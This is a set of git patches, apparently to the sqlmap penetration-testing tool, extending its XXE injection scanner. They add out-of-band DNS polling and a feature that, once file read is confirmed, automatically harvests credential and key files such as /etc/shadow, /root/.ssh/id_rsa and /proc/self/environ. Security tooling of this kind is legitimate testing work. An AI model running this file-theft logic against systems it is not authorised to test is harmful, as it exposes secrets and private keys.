payload: found = errorChannel = True @@ -721,16 +727,20 @@ def xxeScan(): logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) _report("XInclude file read ('%s')" % systemId, payload) - # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM) - if not found: + # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16 + # variant re-detects internal-entity reflection, so it is redundant (and mislabels + # as 'evasion') once reflection was already seen - skip it then. + if not found and not expansionSeen: title, payload = _tryEvasions(xml, rootName, baseline) if title: found = True logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower()) _report(title, payload) - # T6: time-based blind (no collector, no third party) - external entity to a non-routable host - if not found: + # T6: time-based blind (no collector, no third party) - external entity to a non-routable host. + # Skipped once in-band reflection worked: the target is demonstrably not blind, so the (slow) + # blind tiers add nothing and would needlessly stall. + if not found and not expansionSeen: logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow") payload = _tryTimeBlind(xml, rootName) if payload: @@ -738,10 +748,11 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") _report("Time-based blind (external entity to non-routable host)", payload) - # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). + # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). Also blind-only + # (skipped when in-band reflection already worked, so a non-blind target never triggers the prompt). # Low-impact callback confirmation is the default; actual file exfiltration is # attempted only when the user explicitly asked for a file via '--file-read'. - if not found and _oobConsent(): + if not found and not expansionSeen and _oobConsent(): if conf.get("fileRead"): exfil = _tryOobExfil(xml, rootName) if exfil and (exfil["content"] or exfil["detected"]): @@ -762,6 +773,12 @@ def xxeScan(): _report("Out-of-band blind (collector callback: %s)" % protocol, payload) if not found: + if expansionSeen: + # in-band entity processing is real, but no external-entity/blind oracle was reachable + # (typically external entities disabled) - report honestly rather than overstate impact + logger.info("DTD/internal entity processing is enabled, but no external-entity file-read or blind XXE oracle was established") + logger.info("XXE scan complete") + return # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser # from a merely non-reflecting one so the user knows why it did not fire. probe = _send(_buildDoctype(xml, rootName, '%%p;' % SENTINEL)) From 7fd6bb3b7d8a9056f8a2db9d132d7ef3d7dd4049 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 12:38:59 +0200 Subject: [PATCH 27/34] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/request/dns.py | 34 +++++++++++++++++++++------------- tests/test_dns_server.py | 1 + 4 files changed, 26 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b5e04442b..a2ee55d01 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d9b2dc6104456fa679f827d16baeb1ed7ca377a961d163d12cd2b7eba09f24c6 lib/core/settings.py +415708a1c10d98f964bc34ddd8dd597ec0ebb216a6e3f3aad391d9283d499f89 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dns.py +c968a04d3de9256d56c423d46556441223607e4573627f2af4e772e084aef5fc lib/request/dns.py 7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py @@ -613,7 +613,7 @@ fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dia 41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py -a9db98cbb4d16c42118fb6f612edd5bfedc77298e38d06d50e7ecc2faaa7fdc1 tests/test_dns_server.py +6047483d7fb41e0dbf4b067394d8a9e2b39b99faf473db963de6f2f67c052b03 tests/test_dns_server.py 3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py 118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0f81eefb9..33ef2afb9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.26" +VERSION = "1.10.7.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index 5b7082508..f97d7cf60 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -235,6 +235,9 @@ class InteractshDNSServer(object): is a drop-in for conf.dnsServer. """ + _POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds; + _POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent + def __init__(self, server=None): from lib.request.interactsh import Interactsh, hasCrypto @@ -259,25 +262,30 @@ class InteractshDNSServer(object): """ Returns a captured DNS lookup name matching the given prefix/suffix (prefix..suffix.), mirroring DNSServer.pop(). + + Unlike the synchronous local DNSServer (which reads a query captured during the + very request), interactsh is remote and eventually-consistent: a just-triggered + lookup takes a moment to reach the collector and surface via its poll API. So we + poll a few times before giving up, instead of reading once. """ - retVal = None + for attempt in range(self._POLL_TRIES): + for name in self._client.dnsNames(): + if name in self._seen: + continue - for name in self._client.dnsNames(): - if name in self._seen: - continue + if prefix is None and suffix is None: + self._seen.add(name) + return name - if prefix is None and suffix is None: - self._seen.add(name) - retVal = name - break + if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): + self._seen.add(name) + return name - if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): - self._seen.add(name) - retVal = name - break + if attempt < self._POLL_TRIES - 1: + time.sleep(self._POLL_DELAY) - return retVal + return None if __name__ == "__main__": server = None diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py index 234781297..918e54659 100644 --- a/tests/test_dns_server.py +++ b/tests/test_dns_server.py @@ -342,6 +342,7 @@ class TestInteractshDNSServer(unittest.TestCase): srv._seen = set() srv._running = True srv._initialized = True + srv._POLL_TRIES = 1 # no real sleeps in unit tests return srv def test_pop_matches_prefix_suffix_and_dedups(self): From 3b3a822e3202ddf549618079327afd1e92f2cf51 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 13:00:19 +0200 Subject: [PATCH 28/34] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a2ee55d01..a8c4b6d74 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -415708a1c10d98f964bc34ddd8dd597ec0ebb216a6e3f3aad391d9283d499f89 lib/core/settings.py +2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -6d2b663807178b4eed0060ed22cde5a94d1b63b7f1ce54e401f709acfd2344c0 lib/parse/cmdline.py +c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py 925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 33ef2afb9..e48c980ad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.27" +VERSION = "1.10.7.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index d70b1001d..3bfe55d59 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -794,7 +794,7 @@ def cmdLineParser(argv=None): help="Test for XML External Entity (XXE) injection") nonsql.add_argument("--oob-server", dest="oobServer", - help="Out-of-band server for blind '--xxe' (default: public interactsh; 'none' to disable OOB)") + help="Out-of-band server for blind '--xxe'") nonsql.add_argument("--oob-token", dest="oobToken", help="Authentication token for a self-hosted '--oob-server'") From 3bab3cd795d60dd76439d3e53577a638ca43a2b2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 13:35:00 +0200 Subject: [PATCH 29/34] Minor update --- data/txt/sha256sums.txt | 8 +-- lib/core/settings.py | 28 +++++++- lib/core/target.py | 2 +- lib/techniques/xxe/inject.py | 123 ++++++++++++++++++++++++++--------- tests/test_xxe.py | 30 ++++++++- 5 files changed, 152 insertions(+), 39 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a8c4b6d74..98118d629 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,10 +189,10 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py +f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py -15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py +69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py 96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py +b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py -b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py +db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e48c980ad..889e36e59 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.28" +VERSION = "1.10.7.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1121,6 +1121,32 @@ XXE_IMPACT_FILES = ( ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), ) +# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests +# this curated set of high-value, fixed-path files (host identity, process env/ +# secrets, key material) - the XXE analogue of the automatic dumping the other +# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests); +# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES +# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs +# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user +# gave an explicit '--file-read' (that targeted request is honoured verbatim instead). +XXE_FILE_HARVEST = ( + "/etc/passwd", + "/etc/hostname", + "/etc/hosts", + "/etc/os-release", + "/etc/shadow", + "/etc/group", + "/proc/self/environ", + "/proc/self/cmdline", + "/proc/self/status", + "/proc/version", + "/root/.bash_history", + "/root/.ssh/id_rsa", + "c:/windows/win.ini", + "c:/windows/system32/drivers/etc/hosts", + "c:/inetpub/wwwroot/web.config", +) + # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: # an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle # an error/exfil primitive, so no outbound network is needed. (path, entity_name). diff --git a/lib/core/target.py b/lib/core/target.py index a74955b71..0aff96161 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -618,7 +618,7 @@ def _createFilesDir(): Create the file directory. """ - if not any((conf.fileRead, conf.commonFiles)): + if not any((conf.fileRead, conf.commonFiles, conf.xxe)): return # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir) diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index f6d7432cb..2de1ee4fc 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -26,6 +26,7 @@ from lib.core.enums import HTTPMETHOD from lib.core.settings import ASTERISK_MARKER from lib.core.settings import XXE_BLACKHOLE_HOST from lib.core.settings import XXE_ERROR_SIGNATURES +from lib.core.settings import XXE_FILE_HARVEST from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES from lib.core.settings import OOB_POLL_ATTEMPTS @@ -229,21 +230,50 @@ def _echoed(page): def _report(title, payload): if conf.beep: beep() - place = "%s XML body" % (conf.method or HTTPMETHOD.POST) - conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) + place = conf.method or HTTPMETHOD.POST + conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) + + +def _saveFileRead(remoteFile, content): + """Save an XXE-read file to the output directory (parity with '--file-read') and + return its local path, or None if it could not be written.""" + try: + return dataToOutFile(remoteFile, getBytes(content)) + except Exception as ex: + logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex)) + return None def _dumpFileRead(remoteFile, content): - """Save an XXE-read file to the output directory (parity with '--file-read') and - list it; fall back to a console dump if the file cannot be written.""" - try: - localPath = dataToOutFile(remoteFile, getBytes(content)) - if localPath: - conf.dumper.rFile([localPath]) - return - except Exception as ex: - logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex)) - conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) + """Save a single XXE-read file and list it; fall back to a console dump if the + file cannot be written.""" + localPath = _saveFileRead(remoteFile, content) + if localPath: + conf.dumper.rFile([localPath]) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) + + +def _harvestFiles(xml, rootName): + """Proactive, best-effort file harvest run once an in-band XXE read primitive is + confirmed: pull a curated set of high-value fixed-path files (host identity, + process env/secrets, key material) the way the other non-SQL engines auto-dump + their reachable data. Returns a list of (path, content, payload) for every file + that read back non-empty; unreadable/absent files are silently skipped. Content is + de-duplicated so a parser that resolves every missing path to the same stub cannot + masquerade as many distinct reads.""" + + harvested = [] + seen = set() + for path in XXE_FILE_HARVEST: + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip(): + key = content.strip() + if key in seen: + continue + seen.add(key) + harvested.append((path, content, payload)) + return harvested def _tryInternal(xml, rootName, baseline): @@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName): entity between two random markers so the exact file content can be sliced out of the response regardless of surrounding template. Raw file:// works for text files; php://filter base64 (PHP) carries files with XML-special bytes. Returns - the file content or None.""" + (content, payload) or (None, None).""" from lib.core.convert import decodeBase64 @@ -303,13 +333,13 @@ def _tryInbandFileRead(xml, rootName, fileName): except Exception: continue if data and data.strip(): - return data - return None + return data, payload + return None, None def _tryExternalFile(xml, rootName, baseline): """Impact demonstration once XXE is live: read a benign host-identity file via - an external general entity. Returns (systemId, snippet) on a confirmed read.""" + an external general entity. Returns (systemId, payload) on a confirmed read.""" for systemId, pattern in XXE_IMPACT_FILES: ent = randomStr(length=8, lowercase=True) @@ -317,7 +347,7 @@ def _tryExternalFile(xml, rootName, baseline): payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) snippet = _confirmRead(_send(payload), pattern, baseline) if snippet: - return systemId, snippet + return systemId, payload return None, None @@ -639,8 +669,9 @@ def xxeScan(): _OOB_CONSENT = None debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " - debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " - debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored" + debugMsg += "in the request body and, once confirmed, automatically harvests high-value " + debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --dump) are ignored" logger.debug(debugMsg) xml = _cleanBody() @@ -661,31 +692,59 @@ def xxeScan(): # T2: in-band reflected DTD/internal-entity expansion. This proves the parser # processes entities but is NOT yet file-read impact, so it deliberately does NOT - # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still - # run to try to upgrade a mere "expansion confirmed" into actual file-read impact. + # set `found` on its own - we first try to UPGRADE it to real file-read impact and + # then emit a SINGLE report block with the strongest confirmed vector and its real + # payload (one report per finding, as with the other non-SQL engines). The internal + # expansion is only reported on its own when no external-entity read is reachable. payload, page = _tryInternal(xml, rootName, baseline) if payload: expansionSeen = True logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") - _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): - content = _tryInbandFileRead(xml, rootName, conf.fileRead) + content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: found = True logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) - _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) + _report("In-band file read ('%s')" % conf.fileRead, readPayload) _dumpFileRead(conf.fileRead, content) else: - # benign, in-band impact demonstration (data stays in the response, no third party) - systemId, snippet = _tryExternalFile(xml, rootName, baseline) - if not systemId: - snippet = _tryPhpFilter(xml, rootName, baseline) - systemId = "php://filter" if snippet else None - if systemId: + # No targeted '--file-read': proactively harvest a curated set of high-value + # files (data stays in the response, no third party) - the XXE analogue of + # the automatic dumping the other non-SQL engines do once confirmed. + harvested = _harvestFiles(xml, rootName) + if harvested: found = True - logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) - _report("In-band file-read impact (external entity '%s')" % systemId, "") + firstPath, _, firstPayload = harvested[0] + logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested)) + _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) + saved = [] + for path, content, _ in harvested: + logger.info("read remote file '%s' (%d bytes)" % (path, len(content))) + localPath = _saveFileRead(path, content) + if localPath: + saved.append(localPath) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content)) + if saved: + conf.dumper.rFile(saved) + else: + # Harvest read nothing (content relocated in the response, or only benign + # host-identity is exposed): fall back to the pattern-based impact proof + # so file-read impact is still confirmed. + systemId, readPayload = _tryExternalFile(xml, rootName, baseline) + if not systemId: + readPayload = _tryPhpFilter(xml, rootName, baseline) + systemId = "php://filter" if readPayload else None + if systemId: + found = True + logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) + _report("In-band file-read impact (external entity '%s')" % systemId, readPayload) + + if not found: + # external entities are disabled (only internal expansion is reachable): + # report that weaker-but-real finding with its actual payload + _report("In-band DTD/internal entity expansion", payload) # T3: error-based (works where entities are not reflected but errors leak). A # redundant detection channel once in-band reflection was already seen, so it is diff --git a/tests/test_xxe.py b/tests/test_xxe.py index 8c46873c8..736f8ece0 100644 --- a/tests/test_xxe.py +++ b/tests/test_xxe.py @@ -239,7 +239,35 @@ class TestReportMethod(unittest.TestCase): xxe._report("Title", "Payload") finally: conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep - self.assertIn("PUT XML body", captured[0]) + self.assertIn("Parameter: XML body (PUT)", captured[0]) + + +class TestHarvestFiles(unittest.TestCase): + def test_harvest_collects_dedups_and_skips_empty(self): + # simulate a target that returns real content for two files, an empty read for + # one (skipped), and an identical stub for the rest (deduped to a single entry) + def _fake(xml, rootName, path): + if path == "/etc/passwd": + return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd" + if path == "/etc/hostname": + return "host01\n", "PAYLOAD-hostname" + if path == "/etc/hosts": + return " ", "PAYLOAD-empty" # whitespace-only -> skipped + return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped + + old = xxe._tryInbandFileRead + xxe._tryInbandFileRead = _fake + try: + harvested = xxe._harvestFiles("x", "user") + finally: + xxe._tryInbandFileRead = old + + paths = [p for p, _, _ in harvested] + self.assertIn("/etc/passwd", paths) + self.assertIn("/etc/hostname", paths) + self.assertNotIn("/etc/hosts", paths) # empty read skipped + self.assertEqual(paths.count("/etc/passwd"), 1) + self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped class TestOobBase64Capture(unittest.TestCase): From 6597415ab056c2587489faaa0d285d12f6b1a333 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 21:45:42 +0200 Subject: [PATCH 30/34] Minor update --- data/txt/sha256sums.txt | 8 ++-- lib/controller/checks.py | 4 +- lib/core/common.py | 20 ++++++++-- lib/core/settings.py | 29 ++++++++++---- lib/techniques/xxe/inject.py | 77 +++++++++++++++++++++++++++++++++++- 5 files changed, 121 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 98118d629..d3fe8eadd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4 lib/controller/checks.py +ce1f56cd5abcbb71a1074e7fe198de5d6e75353ed3eb1084f6cac657118df8cb lib/controller/checks.py 00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328 lib/core/common.py +19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py 